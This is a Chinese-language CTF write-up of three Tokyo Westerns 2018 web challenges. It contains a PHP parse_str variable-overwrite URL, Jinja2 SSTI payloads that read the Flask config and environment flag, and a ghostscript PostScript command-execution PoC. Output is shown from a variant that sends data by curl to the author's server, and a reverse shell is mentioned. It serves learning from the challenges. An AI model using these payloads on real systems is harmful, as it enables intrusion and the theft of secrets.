内容字号:默认大号超大号

段落设置:段首缩进取消段首缩进

字体设置:切换到微软雅黑切换到宋体

Tokyo Westerns CTF 2018 WEB Wp

2018-09-11 21:55 出处:清屏网 人气: 评论(0

之前忙着社团的一些事情,当初这场比赛也没有花很多时间打。这周末有空,决定把当初没有时间做的题目都做一下。

外国的比赛质量明显比某PWN鼎杯好上许多。在此写一下做题记录

SimpleAuth

<?php

require_once 'flag.php';

if (!empty($_SERVER['QUERY_STRING'])) {
    $query = $_SERVER['QUERY_STRING'];
    $res = parse_str($query);
    if (!empty($res['action'])){
        $action = $res['action'];
    }
}

if ($action === 'auth') {
    if (!empty($res['user'])) {
        $user = $res['user'];
    }
    if (!empty($res['pass'])) {
        $pass = $res['pass'];
    }

    if (!empty($user) && !empty($pass)) {
        $hashed_password = hash('md5', $user.$pass);
    }
    if (!empty($hashed_password) && $hashed_password === 'c019f6e5cd8aa0bbbcc6e994a54c757e') {
        echo $flag;
    }
    else {
        echo 'fail :(';
    }
}
else {
    highlight_file(__FILE__);
}

首先这是 强等号,所以必须满足的条件是

$hashed_password === 'c019f6e5cd8aa0bbbcc6e994a54c757e'

但是很有意思的是,如果我没传递 user pass 参数的话,就不会更新 $hashed_password

parse_str() 变量覆盖

这里的漏洞来自于 parse_str()

在PHP手册中有明确写出,如果没有第二个参数的话会引起变量覆盖

可以写个东西来验证这个漏洞

<?php

if (!empty($_SERVER['QUERY_STRING'])) {
    $query = $_SERVER['QUERY_STRING'];
    $res = parse_str($query);
}

var_dump($GLOBALS);

如你所见,当我们传入password的时候,实际上password这个变量已经存在了。

http://localhost/test.php?password=123&auth=123
  'GLOBALS' => 
    &array<  'query' => string 'password=123&auth=123' (length=21)
  'res' => null
  'password' => string '123' (length=3)
  'auth' => string '123' (length=3)

所以最后的答案就是

http://simpleauth.chal.ctf.westerns.tokyo/?hashed_password=c019f6e5cd8aa0bbbcc6e994a54c757e&action=auth
>> TWCTF{d0_n0t_use_parse_str_without_result_param}

shrine

感觉这道题出的超棒的

参考了 WP

https://ctftime.org/writeup/10895

进去直接给了源码

import flask
import os


app = flask.Flask(__name__)
app.config['FLAG'] = os.environ.pop('FLAG')

@app.route('/')
def index():
    return open(__file__).read()

@app.route('/shrine/<path:shrine>')
def shrine(shrine):
    def safe_jinja(s):
        s = s.replace('(', '').replace(')', '')
        blacklist = ['config', 'self']
        return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist])+s
    return flask.render_template_string(safe_jinja(shrine))

if __name__ == '__main__':
    app.run(debug=True)

乍一看这不是python的闭包么?一开始和阿辉看了半天看不懂...感觉自己编程功底还是太差了。

其实这个函数的内容,简化下来是这样【伪代码】

@app.route('/shrine/<path:shrine>')
def shrine(shrine):
    s = {% set config=None%}{% set self=None%} + path..replace('(', ' (').replace(')', ')')
    return flask.render_template_string(s)

过滤了 () 并把 self 和 config 设置为了 none

不妨先尝试一下 最简单的 ssti注入;确实是可以成功的

http://shrine.chal.ctf.westerns.tokyo/shrine/%7B%7B'2'*5%7D%7D
>> 22222

没有 WAF 的情况

config

传入 config

self

传入 {{self.__dict__}}

()

只要找一个有 os 的 subclasses ,可以参考我以前写的东西python 沙箱逃逸总结

().__class__.__bases__[0].__subclasses__()[59]()._module.__builtins__['__import__']("os").__dict__.environ['FLAG']

().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.values()[13]['eval']('__import__("os").__dict__.environ['FLAG']

## 作者给的; <type 'dict_keys'> 里本身就有 OS

[].__class__.__base__.__subclasses__()[68].__init__.__globals__['os'].__dict__.environ['FLAG']

当config,self,( ) 都被过滤的时候,为了去获得讯息,必须去读一些全局变量。比如说 current_app

比如说这样

__globals__['current_app'].config['FLAG']

top.app.config['FLAG']

如何绕过waf ? url_for 调取 current_app

我看完wp之后感叹,居然还有这样的操作?

首先,介绍一个很牛逼的函数,叫做url_for,可以参考flask的官方文档 flask.url_for

在它引用的内容中,有着 current_app 的全局变量

如何绕过waf ? get_flashed_messages 调取 current_app

除此之外,还有函数包含了 current_app ,叫做 get_flashed_messages ,同样,可以参考官方文档 flask.get_flashed_messages

GET FLAG !!!

找到了current_app,一切问题就迎刃而解了

GET /shrine/{{url_for.__globals__['current_app'].config['FLAG']}}

or

GET /shrine/{{get_flashed_messages.__globals__['current_app'].config['FLAG']}}

》》 TWCTF{pray_f0r_sacred_jinja2}

emoji

这道题目涉及 ghostscript 漏洞;对此我一点都不知道。日后会将这个洞系统得复现一下。这个洞在 8.21被报道出来,360CERT就将这个洞的细节发表了出来,可以参考 ghostscript命令执行漏洞预警

关于 ghostscript 也可以参考:

https://www.jianshu.com/p/0892b5d37ed0

https://www.anquanke.com/post/id/157513

ghostscript命令执行漏洞

准确来说,是这样子的:

PIL在对 eps 图片格式进行处理的时候,如果环境内装有 GhostScript,则会调用 GhostScript 在dSAFER模式下处理图片,产生命令执行漏洞。

其实这个漏洞是非常危险的漏洞。导致所有引用ghostscript的上游应用收到影响。 常见应用如下:

 imagemagick  libmagick  graphicsmagick  gimp  python-matplotlib  texlive-core  texmacs  latex2html  latex2rtf 

当然也包括了 PIL

做题过程

访问 /source 得到源码

from flask import (
    Flask,
    render_template,
    request,
    redirect,
    url_for,
    make_response,
)
from PIL import Image
import tempfile
import os


app = Flask(__name__)

@app.route('/')
def index():
    return render_template('index.html')

@app.route('/source')
def source():
    return open(__file__).read()

@app.route('/conv', methods=['POST'])
def conv():
    f = request.files.get('image', None)
    if not f:
        return redirect(url_for('index'))
    ext = f.filename.split('.')[-1]
    fname = tempfile.mktemp("emoji")
    fname = "{}.{}".format(fname, ext)
    f.save(fname)
    img = Image.open(fname)
    w, h = img.size
    r = 128/max(w, h)
    newimg = img.resize((int(w*r), int(h*r)))
    newimg.save(fname)
    response = make_response()
    response.data = open(fname, "rb").read()
    response.headers['Content-Disposition'] = 'attachment; filename=emoji_{}'.format(f.filename)
    os.unlink(fname)
    return response

if __name__ == '__main__':
    app.run(host="0.0.0.0", port=8080, debug=True)

我尝试上传了一个图片,结果是 500 的错误。

后来按照WP也不能复现,推测是服务器挂了。对此,我只能在本地模拟一下这个漏洞的过程。

对于这个漏洞,有很多套路了。具体可以看看这边

ghostscript: multiple critical vulnerabilities, including remote command execution

本地复现

我在本地复现了这个漏洞,具体的POC如下

命名一个 shell.jpeg 文件,内容如下(实际上这是postscript)

%!PS
userdict /setpagedevice undef
save
legal
{ null restore } stopped { pop } if
{ legal } stopped { pop } if
restore
mark /OutputFile (%pipe%id) currentdevice putdeviceprops

随后,给予文件7xx的权限。之后,我们执行convert指令

可以发现shell已经能够成功执行了。

我们可以给予更大的扩展攻击面。比如说反弹shell

我将 id 的部分改为 反弹shell一句话

随后,在我的VPS上接收shell。

如你所见,已经成功执行。

我这里用的是 imagemagick 实际上用PIL也是一样的。

如下所示

>>> img = Image.open('./circle.eps')
>>> w, h = img.size
>>> r = 128/max(w, h)
>>> newimg = img.resize((int(w*r), int(h*r)))
cat: /flag: 没有那个文件或目录
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
  0     0    0     0    0     0      0      0 --:--:--  0:00:46 --:--:--     0
curl: (52) Empty reply from server
GPL Ghostscript 9.22: Unrecoverable error, exit code 1
Traceback (most recent call last):

[root@iz2ze2zhd57z17nq0y8tttz ~]# socat TCP-LISTEN:5555 -
POST / HTTP/1.1
Host: shaobaobaoer.cn:5555
User-Agent: curl/7.60.0
Accept: */*
Content-Length: 0
Content-Type: application/x-www-form-urlencoded

当然,如果用PIL的话,是不能直接读上面的那个POC的。我也不知道为何,自己对于 postscript 也不是很了解。wp中是一个 eps 的文件。而上述POC中是一个 PS 格式的文件。

我将 WP 中的poc修改为了自己VPS的地址,它成功执行了。


分享给小伙伴们:
本文标签: CTF

相关文章

发表评论愿您的每句评论,都能给大家的生活添色彩,带来共鸣,带来思索,带来快乐。

CopyRight © 2015-2016 QingPingShan.com , All Rights Reserved.

清屏网 版权所有 豫ICP备15026204号